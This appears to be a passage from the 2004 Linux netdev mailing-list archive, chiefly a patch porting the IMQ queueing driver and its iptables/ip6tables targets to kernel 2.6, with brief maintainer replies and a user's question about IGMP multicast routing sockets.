VLAN tag set functionality in 8021q module > On Thu, 22 Jan 2004 17:57:19 +0200 > Shmuel Hen wrote: > > > Make the regular/HW accelerated xmit functions in the 8021q module > > use the new set VLAN tag functionality to reduce code duplication. > > I'm fine with this and the ARP change, I am pretty sure. > > But we have way too much stuff pending for the next 2.6.x release, > so I'm going to defer adding these changes until Linus puts something > final out. > > Please resend these two changes after he does a release. Fair enough. What about 2.4 ? Thanks, Shmulik. From jgarzik@pobox.com Sun Jan 25 08:36:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 08:37:07 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PGap7J002670 for ; Sun, 25 Jan 2004 08:36:53 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:48226 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AknFi-0003sF-Cj; Sun, 25 Jan 2004 16:36:50 +0000 Message-ID: <4013F096.4090705@pobox.com> Date: Sun, 25 Jan 2004 11:36:38 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com Subject: Re: [janitor] depca: release resources on errors References: <20040124223109.1c134ca1.rddunlap@osdl.org> In-Reply-To: <20040124223109.1c134ca1.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2779 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Most of these patches you're sending are already in netdev-2.6, AFAICS... Jeff From jgarzik@pobox.com Sun Jan 25 08:35:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 08:35:43 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PGZS7J002578 for ; Sun, 25 Jan 2004 08:35:29 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:48221 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AknEN-0003re-UI; Sun, 25 Jan 2004 16:35:28 +0000 Message-ID: <4013F043.4040803@pobox.com> Date: Sun, 25 Jan 2004 11:35:15 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: akpm@osdl.org CC: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [patch 11/18] gcc-3.5: ne2k-pci.c References: <200401251107.i0PB7ko25097@mail.osdl.org> In-Reply-To: <200401251107.i0PB7ko25097@mail.osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2778 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev I'll pick this and the other drivers/net ones (except for tg3) up. Jeff From kala@pinerecords.com Sun Jan 25 08:44:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 08:44:54 -0800 (PST) Received: from louise.pinerecords.com (louise.pinerecords.com [213.168.176.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PGic7J003466 for ; Sun, 25 Jan 2004 08:44:41 -0800 Received: from louise.pinerecords.com (localhost [127.0.0.1]) by louise.pinerecords.com with ESMTP id i0PGiVRJ032424 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 25 Jan 2004 17:44:32 +0100 Received: (from kala@localhost) by louise.pinerecords.com (submit) id i0PGiVcl032423; Sun, 25 Jan 2004 17:44:31 +0100 Date: Sun, 25 Jan 2004 17:44:31 +0100 From: Tomas Szepe To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040125164431.GA31548@louise.pinerecords.com> References: <20040125152419.GA3208@penguin.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040125152419.GA3208@penguin.localdomain> User-Agent: Mutt/1.4.1i X-archive-position: 2780 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: szepe@pinerecords.com Precedence: bulk X-list: netdev On Jan-25 2004, Sun, 16:24 +0100 Marcel Sebek wrote: > I have ported IMQ driver from 2.4 to 2.6.2-rc1. > Original version was from http://trash.net/~kaber/imq/. > ... It would definitely be nice to see IMQ merged at last. -- Tomas Szepe From sebek64@post.cz Sun Jan 25 07:25:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 09:10:59 -0800 (PST) Received: from mail.contactel.cz (mail.contactel.cz [212.65.193.9]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PFOw7J030730 for ; Sun, 25 Jan 2004 07:25:01 -0800 Received: from penguin.localdomain (p108.as-l007.contactel.cz [212.65.200.108]) by mail.contactel.cz (Postfix) with ESMTP id E66BA4B3C8; Sun, 25 Jan 2004 16:24:52 +0100 (CET) Received: by penguin.localdomain (Postfix, from userid 1000) id A9DDC7F5C; Sun, 25 Jan 2004 16:24:19 +0100 (CET) Date: Sun, 25 Jan 2004 16:24:19 +0100 To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Subject: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040125152419.GA3208@penguin.localdomain> Mail-Followup-To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: sebek64@post.cz (Marcel Sebek) X-archive-position: 2781 X-Approved-By: ralf@linux-mips.org X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sebek64@post.cz Precedence: bulk X-list: netdev I have ported IMQ driver from 2.4 to 2.6.2-rc1. Original version was from http://trash.net/~kaber/imq/. diff -urN linux-2.6.orig/drivers/net/Kconfig linux-2.6.new/drivers/net/Kconfig --- linux-2.6.orig/drivers/net/Kconfig 2004-01-21 19:33:36.000000000 +0100 +++ linux-2.6.new/drivers/net/Kconfig 2004-01-25 15:08:20.000000000 +0100 @@ -85,6 +85,20 @@ To compile this driver as a module, choose M here: the module will be called eql. If unsure, say N. +config IMQ + tristate "IMQ (intermediate queueing device) support" + depends on NETDEVICES && NETFILTER + ---help--- + The imq device(s) is used as placeholder for QoS queueing disciplines. + Every packet entering/leaving the ip stack can be directed through + the imq device where it's enqueued/dequeued to the attached qdisc. + This allows you to treat network devices as classes and distribute + bandwidth among them. Iptables is used to specify through which imq + device, if any, packets travel. + + To compile this driver as a module, choose M here: the module + will be called imq. If unsure, say N. + config TUN tristate "Universal TUN/TAP device driver support" depends on NETDEVICES diff -urN linux-2.6.orig/drivers/net/Makefile linux-2.6.new/drivers/net/Makefile --- linux-2.6.orig/drivers/net/Makefile 2004-01-21 19:33:36.000000000 +0100 +++ linux-2.6.new/drivers/net/Makefile 2004-01-25 15:08:20.000000000 +0100 @@ -110,6 +110,7 @@ endif obj-$(CONFIG_DUMMY) += dummy.o +obj-$(CONFIG_IMQ) += imq.o obj-$(CONFIG_DE600) += de600.o obj-$(CONFIG_DE620) += de620.o obj-$(CONFIG_AT1500) += lance.o diff -urN linux-2.6.orig/drivers/net/imq.c linux-2.6.new/drivers/net/imq.c --- linux-2.6.orig/drivers/net/imq.c 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/drivers/net/imq.c 2004-01-25 15:08:51.000000000 +0100 @@ -0,0 +1,323 @@ +/* + * Pseudo-driver for the intermediate queue device. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + * + * Authors: Patrick McHardy, + * + * The first version was written by Martin Devera, + * + * Credits: Jan Rafaj + * - Update patch to 2.4.21 + * Sebastian Strollo + * - Fix "Dead-loop on netdevice imq"-issue + * Marcel Sebek + * - Update to 2.6.2-rc1 + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) +#include +#endif +#include +#include + +static nf_hookfn imq_nf_hook; + +static struct nf_hook_ops imq_ingress_ipv4 = { + .hook = imq_nf_hook, + .owner = THIS_MODULE, + .pf = PF_INET, + .hooknum = NF_IP_PRE_ROUTING, + .priority = NF_IP_PRI_MANGLE + 1 +}; + +static struct nf_hook_ops imq_egress_ipv4 = { + .hook = imq_nf_hook, + .owner = THIS_MODULE, + .pf = PF_INET, + .hooknum = NF_IP_POST_ROUTING, + .priority = NF_IP_PRI_LAST +}; + +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) +static struct nf_hook_ops imq_ingress_ipv6 = { + .hook = imq_nf_hook, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_PRE_ROUTING, + .priority = NF_IP6_PRI_MANGLE + 1 +}; + +static struct nf_hook_ops imq_egress_ipv6 = { + .hook = imq_nf_hook, + .owner = THIS_MODULE, + .pf = PF_INET6, + .hooknum = NF_IP6_POST_ROUTING, + .priority = NF_IP6_PRI_LAST +}; +#endif + +static unsigned int numdevs = 2; + +module_param(numdevs, int, 0); + +static struct net_device *imq_devs; + + +static struct net_device_stats *imq_get_stats(struct net_device *dev) +{ + return (struct net_device_stats *)dev->priv; +} + +/* called for packets kfree'd in qdiscs at places other than enqueue */ +static void imq_skb_destructor(struct sk_buff *skb) +{ + struct nf_info *info = skb->nf_info; + + if (info) { + if (info->indev) + dev_put(info->indev); + if (info->outdev) + dev_put(info->outdev); + kfree(info); + } +} + +static int imq_dev_xmit(struct sk_buff *skb, struct net_device *dev) +{ + struct net_device_stats *stats = (struct net_device_stats*) dev->priv; + + stats->tx_bytes += skb->len; + stats->tx_packets++; + + skb->imq_flags = 0; + skb->destructor = NULL; + + dev->trans_start = jiffies; + nf_reinject(skb, skb->nf_info, NF_ACCEPT); + return 0; +} + +static int imq_nf_queue(struct sk_buff *skb, struct nf_info *info, + void *data) +{ + struct net_device *dev; + struct net_device_stats *stats; + struct sk_buff *skb2 = NULL; + struct Qdisc *q; + unsigned int index = skb->imq_flags&IMQ_F_IFMASK; + int ret = -1; + + if (index > numdevs) + return -1; + + dev = imq_devs + index; + if (!(dev->flags & IFF_UP)) { + skb->imq_flags = 0; + nf_reinject(skb, info, NF_ACCEPT); + return 0; + } + dev->last_rx = jiffies; + + if (skb->destructor) { + skb2 = skb; + skb = skb_clone(skb, GFP_ATOMIC); + if (!skb) + return -1; + } + skb->nf_info = info; + + stats = (struct net_device_stats *)dev->priv; + stats->rx_bytes+= skb->len; + stats->rx_packets++; + + spin_lock_bh(&dev->queue_lock); + q = dev->qdisc; + if (q->enqueue) { + q->enqueue(skb_get(skb), q); + if (skb_shared(skb)) { + skb->destructor = imq_skb_destructor; + kfree_skb(skb); + ret = 0; + } + } + if (spin_is_locked(&dev->xmit_lock)) + netif_schedule(dev); + else + qdisc_run(dev); + spin_unlock_bh(&dev->queue_lock); + + if (skb2) + kfree_skb(ret ? skb : skb2); + + return ret; +} + +static unsigned int imq_nf_hook(unsigned int hook, struct sk_buff **pskb, + const struct net_device *indev, + const struct net_device *outdev, + int (*okfn)(struct sk_buff *)) +{ + if ((*pskb)->imq_flags & IMQ_F_ENQUEUE) + return NF_QUEUE; + + return NF_ACCEPT; +} + + +static int __init imq_init_hooks(void) +{ + int err; + + if ((err = nf_register_queue_handler(PF_INET, imq_nf_queue, NULL))) + goto err1; + if ((err = nf_register_hook(&imq_ingress_ipv4))) + goto err2; + if ((err = nf_register_hook(&imq_egress_ipv4))) + goto err3; +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) + if ((err = nf_register_queue_handler(PF_INET6, imq_nf_queue, NULL))) + goto err4; + if ((err = nf_register_hook(&imq_ingress_ipv6))) + goto err5; + if ((err = nf_register_hook(&imq_egress_ipv6))) + goto err6; +#endif + + return 0; + +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) +err6: + nf_unregister_hook(&imq_ingress_ipv6); +err5: + nf_unregister_queue_handler(PF_INET6); +err4: + nf_unregister_hook(&imq_egress_ipv4); +#endif +err3: + nf_unregister_hook(&imq_ingress_ipv4); +err2: + nf_unregister_queue_handler(PF_INET); +err1: + return err; +} + +static void __exit imq_unhook(void) +{ + nf_unregister_hook(&imq_ingress_ipv4); + nf_unregister_hook(&imq_egress_ipv4); + nf_unregister_queue_handler(PF_INET); +#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) + nf_unregister_hook(&imq_ingress_ipv6); + nf_unregister_hook(&imq_egress_ipv6); + nf_unregister_queue_handler(PF_INET6); +#endif +} + +static int __init imq_dev_init(struct net_device *dev) +{ + dev->hard_start_xmit = imq_dev_xmit; + dev->type = ARPHRD_VOID; + dev->mtu = 1500; + dev->tx_queue_len = 30; + dev->flags = IFF_NOARP; + dev->priv = kmalloc(sizeof(struct net_device_stats), GFP_KERNEL); + if (dev->priv == NULL) + return -ENOMEM; + memset(dev->priv, 0, sizeof(struct net_device_stats)); + dev->get_stats = imq_get_stats; + + return 0; +} + +static void imq_dev_uninit(struct net_device *dev) +{ + kfree(dev->priv); +} + +static int __init imq_init_devs(void) +{ + struct net_device *dev; + int i; + + if (!numdevs || numdevs > IMQ_MAX_DEVS) { + printk(KERN_ERR "numdevs has to be betweed 1 and %u\n", + IMQ_MAX_DEVS); + return -EINVAL; + } + + imq_devs = kmalloc(sizeof(struct net_device) * numdevs, GFP_KERNEL); + if (!imq_devs) + return -ENOMEM; + memset(imq_devs, 0, sizeof(struct net_device) * numdevs); + + /* we start counting at zero */ + numdevs--; + + for (i = 0, dev = imq_devs; i <= numdevs; i++, dev++) { + SET_MODULE_OWNER(dev); + strcpy(dev->name, "imq%d"); + dev->init = imq_dev_init; + dev->uninit = imq_dev_uninit; + + if (register_netdev(dev) < 0) + goto err_register; + } + return 0; + +err_register: + for (; i; i--) + unregister_netdev(--dev); + kfree(imq_devs); + return -EIO; +} + +static void imq_cleanup_devs(void) +{ + int i; + struct net_device *dev = imq_devs; + + for (i = 0; i <= numdevs; i++) + unregister_netdev(dev++); + + kfree(imq_devs); +} + +static int __init imq_init_module(void) +{ + int err; + + if ((err = imq_init_devs())) + return err; + if ((err = imq_init_hooks())) { + imq_cleanup_devs(); + return err; + } + + printk(KERN_INFO "imq driver loaded.\n"); + + return 0; +} + +static void __exit imq_cleanup_module(void) +{ + imq_unhook(); + imq_cleanup_devs(); +} + +module_init(imq_init_module); +module_exit(imq_cleanup_module); +MODULE_LICENSE("GPL"); diff -urN linux-2.6.orig/include/linux/imq.h linux-2.6.new/include/linux/imq.h --- linux-2.6.orig/include/linux/imq.h 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/include/linux/imq.h 2004-01-25 15:08:20.000000000 +0100 @@ -0,0 +1,9 @@ +#ifndef _IMQ_H +#define _IMQ_H + +#define IMQ_MAX_DEVS 16 + +#define IMQ_F_IFMASK 0x7f +#define IMQ_F_ENQUEUE 0x80 + +#endif /* _IMQ_H */ diff -urN linux-2.6.orig/include/linux/netfilter_ipv4/ipt_IMQ.h linux-2.6.new/include/linux/netfilter_ipv4/ipt_IMQ.h --- linux-2.6.orig/include/linux/netfilter_ipv4/ipt_IMQ.h 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/include/linux/netfilter_ipv4/ipt_IMQ.h 2004-01-25 15:08:20.000000000 +0100 @@ -0,0 +1,8 @@ +#ifndef _IPT_IMQ_H +#define _IPT_IMQ_H + +struct ipt_imq_info { + unsigned int todev; /* target imq device */ +}; + +#endif /* _IPT_IMQ_H */ diff -urN linux-2.6.orig/include/linux/netfilter_ipv6/ip6t_IMQ.h linux-2.6.new/include/linux/netfilter_ipv6/ip6t_IMQ.h --- linux-2.6.orig/include/linux/netfilter_ipv6/ip6t_IMQ.h 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/include/linux/netfilter_ipv6/ip6t_IMQ.h 2004-01-25 15:08:20.000000000 +0100 @@ -0,0 +1,8 @@ +#ifndef _IP6T_IMQ_H +#define _IP6T_IMQ_H + +struct ip6t_imq_info { + unsigned int todev; /* target imq device */ +}; + +#endif /* _IP6T_IMQ_H */ diff -urN linux-2.6.orig/include/linux/skbuff.h linux-2.6.new/include/linux/skbuff.h --- linux-2.6.orig/include/linux/skbuff.h 2004-01-10 14:02:40.000000000 +0100 +++ linux-2.6.new/include/linux/skbuff.h 2004-01-25 15:08:20.000000000 +0100 @@ -98,6 +98,10 @@ struct nf_conntrack *master; }; +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) +struct nf_info; +#endif + #ifdef CONFIG_BRIDGE_NETFILTER struct nf_bridge_info { atomic_t use; @@ -246,6 +250,10 @@ unsigned long nfmark; __u32 nfcache; struct nf_ct_info *nfct; +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) + unsigned char imq_flags; + struct nf_info *nf_info; +#endif #ifdef CONFIG_NETFILTER_DEBUG unsigned int nf_debug; #endif diff -urN linux-2.6.orig/net/core/skbuff.c linux-2.6.new/net/core/skbuff.c --- linux-2.6.orig/net/core/skbuff.c 2003-11-25 16:58:45.000000000 +0100 +++ linux-2.6.new/net/core/skbuff.c 2004-01-25 15:08:20.000000000 +0100 @@ -313,6 +313,10 @@ #ifdef CONFIG_NET_SCHED C(tc_index); #endif +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) + C(imq_flags); + C(nf_info); +#endif C(truesize); atomic_set(&n->users, 1); C(head); @@ -357,6 +361,10 @@ new->nfcache = old->nfcache; new->nfct = old->nfct; nf_conntrack_get(old->nfct); +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) + new->imq_flags = old->imq_flags; + new->nf_info = old->nf_info; +#endif #ifdef CONFIG_NETFILTER_DEBUG new->nf_debug = old->nf_debug; #endif diff -urN linux-2.6.orig/net/ipv4/netfilter/Kconfig linux-2.6.new/net/ipv4/netfilter/Kconfig --- linux-2.6.orig/net/ipv4/netfilter/Kconfig 2004-01-21 19:34:33.000000000 +0100 +++ linux-2.6.new/net/ipv4/netfilter/Kconfig 2004-01-25 15:08:20.000000000 +0100 @@ -478,6 +478,15 @@ To compile it as a module, choose M here. If unsure, say N. +config IP_NF_TARGET_IMQ + tristate "IMQ target support" + depends on IP_NF_MANGLE + help + This option adds a `IMQ' target which is used to specify if and + to which imq device packets should get enqueued/dequeued. + + To compile it as a module, choose M here. If unsure, say N. + config IP_NF_TARGET_LOG tristate "LOG target support" depends on IP_NF_IPTABLES diff -urN linux-2.6.orig/net/ipv4/netfilter/Makefile linux-2.6.new/net/ipv4/netfilter/Makefile --- linux-2.6.orig/net/ipv4/netfilter/Makefile 2003-09-10 16:09:48.000000000 +0200 +++ linux-2.6.new/net/ipv4/netfilter/Makefile 2004-01-25 15:08:21.000000000 +0100 @@ -72,6 +72,7 @@ obj-$(CONFIG_IP_NF_TARGET_ECN) += ipt_ECN.o obj-$(CONFIG_IP_NF_TARGET_DSCP) += ipt_DSCP.o obj-$(CONFIG_IP_NF_TARGET_MARK) += ipt_MARK.o +obj-$(CONFIG_IP_NF_TARGET_IMQ) += ipt_IMQ.o obj-$(CONFIG_IP_NF_TARGET_MASQUERADE) += ipt_MASQUERADE.o obj-$(CONFIG_IP_NF_TARGET_REDIRECT) += ipt_REDIRECT.o obj-$(CONFIG_IP_NF_TARGET_NETMAP) += ipt_NETMAP.o diff -urN linux-2.6.orig/net/ipv4/netfilter/ipt_IMQ.c linux-2.6.new/net/ipv4/netfilter/ipt_IMQ.c --- linux-2.6.orig/net/ipv4/netfilter/ipt_IMQ.c 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/net/ipv4/netfilter/ipt_IMQ.c 2004-01-25 15:08:21.000000000 +0100 @@ -0,0 +1,78 @@ +/* + * This target marks packets to be enqueued to an imq device + */ +#include +#include +#include +#include +#include + +static unsigned int imq_target(struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + unsigned int hooknum, + const void *targinfo, + void *userdata) +{ + struct ipt_imq_info *mr = (struct ipt_imq_info*)targinfo; + + (*pskb)->imq_flags = mr->todev | IMQ_F_ENQUEUE; + (*pskb)->nfcache |= NFC_ALTERED; + + return IPT_CONTINUE; +} + +static int imq_checkentry(const char *tablename, + const struct ipt_entry *e, + void *targinfo, + unsigned int targinfosize, + unsigned int hook_mask) +{ + struct ipt_imq_info *mr; + + if (targinfosize != IPT_ALIGN(sizeof(struct ipt_imq_info))) { + printk(KERN_WARNING "IMQ: invalid targinfosize\n"); + return 0; + } + mr = (struct ipt_imq_info*)targinfo; + + if (strcmp(tablename, "mangle") != 0) { + printk(KERN_WARNING + "IMQ: IMQ can only be called from \"mangle\" table, not \"%s\"\n", + tablename); + return 0; + } + + if (mr->todev > IMQ_MAX_DEVS) { + printk(KERN_WARNING + "IMQ: invalid device specified, highest is %u\n", + IMQ_MAX_DEVS); + return 0; + } + + return 1; +} + +static struct ipt_target ipt_imq_reg = { + .name = "IMQ", + .target = imq_target, + .checkentry = imq_checkentry, + .me = THIS_MODULE +}; + +static int __init init(void) +{ + if (ipt_register_target(&ipt_imq_reg)) + return -EINVAL; + + return 0; +} + +static void __exit fini(void) +{ + ipt_unregister_target(&ipt_imq_reg); +} + +module_init(init); +module_exit(fini); +MODULE_LICENSE("GPL"); diff -urN linux-2.6.orig/net/ipv6/netfilter/Kconfig linux-2.6.new/net/ipv6/netfilter/Kconfig --- linux-2.6.orig/net/ipv6/netfilter/Kconfig 2003-09-28 10:43:59.000000000 +0200 +++ linux-2.6.new/net/ipv6/netfilter/Kconfig 2004-01-25 15:08:21.000000000 +0100 @@ -217,6 +217,15 @@ To compile it as a module, choose M here. If unsure, say N. +config IP6_NF_TARGET_IMQ + tristate "IMQ target support" + depends on IP6_NF_MANGLE + help + This option adds a `IMQ' target which is used to specify if and + to which imq device packets should get enqueued/dequeued. + + To compile it as a module, choose M here. If unsure, say N. + #dep_tristate ' LOG target support' CONFIG_IP6_NF_TARGET_LOG $CONFIG_IP6_NF_IPTABLES endmenu diff -urN linux-2.6.orig/net/ipv6/netfilter/Makefile linux-2.6.new/net/ipv6/netfilter/Makefile --- linux-2.6.orig/net/ipv6/netfilter/Makefile 2003-05-05 01:53:32.000000000 +0200 +++ linux-2.6.new/net/ipv6/netfilter/Makefile 2004-01-25 15:08:21.000000000 +0100 @@ -19,6 +19,7 @@ obj-$(CONFIG_IP6_NF_FILTER) += ip6table_filter.o obj-$(CONFIG_IP6_NF_MANGLE) += ip6table_mangle.o obj-$(CONFIG_IP6_NF_TARGET_MARK) += ip6t_MARK.o +obj-$(CONFIG_IP6_NF_TARGET_IMQ) += ip6t_IMQ.o obj-$(CONFIG_IP6_NF_QUEUE) += ip6_queue.o obj-$(CONFIG_IP6_NF_TARGET_LOG) += ip6t_LOG.o obj-$(CONFIG_IP6_NF_MATCH_HL) += ip6t_hl.o diff -urN linux-2.6.orig/net/ipv6/netfilter/ip6t_IMQ.c linux-2.6.new/net/ipv6/netfilter/ip6t_IMQ.c --- linux-2.6.orig/net/ipv6/netfilter/ip6t_IMQ.c 1970-01-01 01:00:00.000000000 +0100 +++ linux-2.6.new/net/ipv6/netfilter/ip6t_IMQ.c 2004-01-25 15:08:21.000000000 +0100 @@ -0,0 +1,78 @@ +/* + * This target marks packets to be enqueued to an imq device + */ +#include +#include +#include +#include +#include + +static unsigned int imq_target(struct sk_buff **pskb, + unsigned int hooknum, + const struct net_device *in, + const struct net_device *out, + const void *targinfo, + void *userdata) +{ + struct ip6t_imq_info *mr = (struct ip6t_imq_info*)targinfo; + + (*pskb)->imq_flags = mr->todev | IMQ_F_ENQUEUE; + (*pskb)->nfcache |= NFC_ALTERED; + + return IP6T_CONTINUE; +} + +static int imq_checkentry(const char *tablename, + const struct ip6t_entry *e, + void *targinfo, + unsigned int targinfosize, + unsigned int hook_mask) +{ + struct ip6t_imq_info *mr; + + if (targinfosize != IP6T_ALIGN(sizeof(struct ip6t_imq_info))) { + printk(KERN_WARNING "IMQ: invalid targinfosize\n"); + return 0; + } + mr = (struct ip6t_imq_info*)targinfo; + + if (strcmp(tablename, "mangle") != 0) { + printk(KERN_WARNING + "IMQ: IMQ can only be called from \"mangle\" table, not \"%s\"\n", + tablename); + return 0; + } + + if (mr->todev > IMQ_MAX_DEVS) { + printk(KERN_WARNING + "IMQ: invalid device specified, highest is %u\n", + IMQ_MAX_DEVS); + return 0; + } + + return 1; +} + +static struct ip6t_target ip6t_imq_reg = { + .name = "IMQ", + .target = imq_target, + .checkentry = imq_checkentry, + .me = THIS_MODULE +}; + +static int __init init(void) +{ + if (ip6t_register_target(&ip6t_imq_reg)) + return -EINVAL; + + return 0; +} + +static void __exit fini(void) +{ + ip6t_unregister_target(&ip6t_imq_reg); +} + +module_init(init); +module_exit(fini); +MODULE_LICENSE("GPL"); diff -urN linux-2.6.orig/net/sched/sch_generic.c linux-2.6.new/net/sched/sch_generic.c --- linux-2.6.orig/net/sched/sch_generic.c 2003-11-25 16:58:47.000000000 +0100 +++ linux-2.6.new/net/sched/sch_generic.c 2004-01-25 15:08:21.000000000 +0100 @@ -30,6 +30,9 @@ #include #include #include +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) +#include +#endif #include #include @@ -90,7 +93,11 @@ spin_unlock(&dev->queue_lock); if (!netif_queue_stopped(dev)) { - if (netdev_nit) + if (netdev_nit +#if defined(CONFIG_IMQ) || defined(CONFIG_IMQ_MODULE) + && !(skb->imq_flags & IMQ_F_ENQUEUE) +#endif + ) dev_queue_xmit_nit(skb, dev); if (dev->hard_start_xmit(skb, dev) == 0) { -- Marcel Sebek jabber: sebek@jabber.cz ICQ: 279852819 linux user number: 307850 GPG ID: 5F88735E GPG FP: 0F01 BAB8 3148 94DB B95D 1FCA 8B63 CA06 5F88 735E From equinox@diac24.net Sun Jan 25 09:35:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 25 Jan 2004 09:35:45 -0800 (PST) Received: from spaceboyz.net (mail@spaceboyz.net [217.160.179.236]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0PHZR7J005453 for ; Sun, 25 Jan 2004 09:35:30 -0800 Received: from mercury.n2.diac24.net ([172.22.2.2]) by spaceboyz.net with esmtp (Exim 4.21) id 1AkoAS-0000Pp-4J for netdev@oss.sgi.com; Sun, 25 Jan 2004 18:35:28 +0100 Received: from eth0.pluto.n2.diac24.net ([172.22.2.1] helo=diac24.net) by mercury.n2.diac24.net with esmtp (Exim 4.22) id 1AknxF-0000c3-2f for netdev@oss.sgi.com; Sun, 25 Jan 2004 18:21:49 +0100 Message-ID: <4013FEC9.1070900@diac24.net> Date: Sun, 25 Jan 2004 18:37:13 +0100 From: David Lamparter User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.6a) Gecko/20031030 X-Accept-Language: de-de, de, en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: user space multicast routing interface X-Enigmail-Version: 0.82.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: equinox@diac24.net X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 2782 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: equinox@diac24.net Precedence: bulk X-list: netdev Hi, [...skip down if you don't like long "sorry for mailing" mails ;)] first of all, please excuse me mailing to netdev for a not directly kernel related Linux networking question - i didn't find any other place where i could ask... I recently started playing around with multicast routing for educational purposes; multicast client software was easy to write, ran well and there were lots of docs about setsockopts etc. Continuing on my way, I'm trying to write a simple IGMP querier now, but even getting started turns out to be pretty difficult here, almost no docs exist (well, the FreeBSD manpage...). I tried everything coming to my mind, but i wasn't even able to get to receiving all IGMP packets on an interface. [...stop skipping here] so, 2 questions: * what sockopts are neccessary to get all IGMP packets (all multicast groups) on a raw socket? (MRT_INIT / MRT_ADD_VIF should do it, but it doesn't work) * is it possible to bind VIFs to interface indices? in ipmr.c / struct vifctl there is no ifindex parameter (real interface, not vif) as you can see from the 2nd question, i at least tried reading the kernel source (2.6.1), but i don't know the stack so its difficult to understand... David Lamparter Appended: testing code for IGMP no error messages on 2.6.1, interface has flags while code is running, vif shows up under /proc/net/ip_mr_vif: Interface BytesIn PktsIn BytesOut PktsOut Flags Local Remote 1 eth0 0 0 0 0 08000 160216AC 00000000 #define E(x) if (x) printf ("error doing %s: %d [%s]\n", \ #x, errno, strerror (errno)); int main(int argc, char **argv) { int mrouter_s4; int p = 1; struct vifctl vc; mrouter_s4 = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); E(setsockopt(mrouter_s4, IPPROTO_IP, MRT_INIT, (void *)&p, sizeof(p))); memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = vc.vifc_threshold = 1; 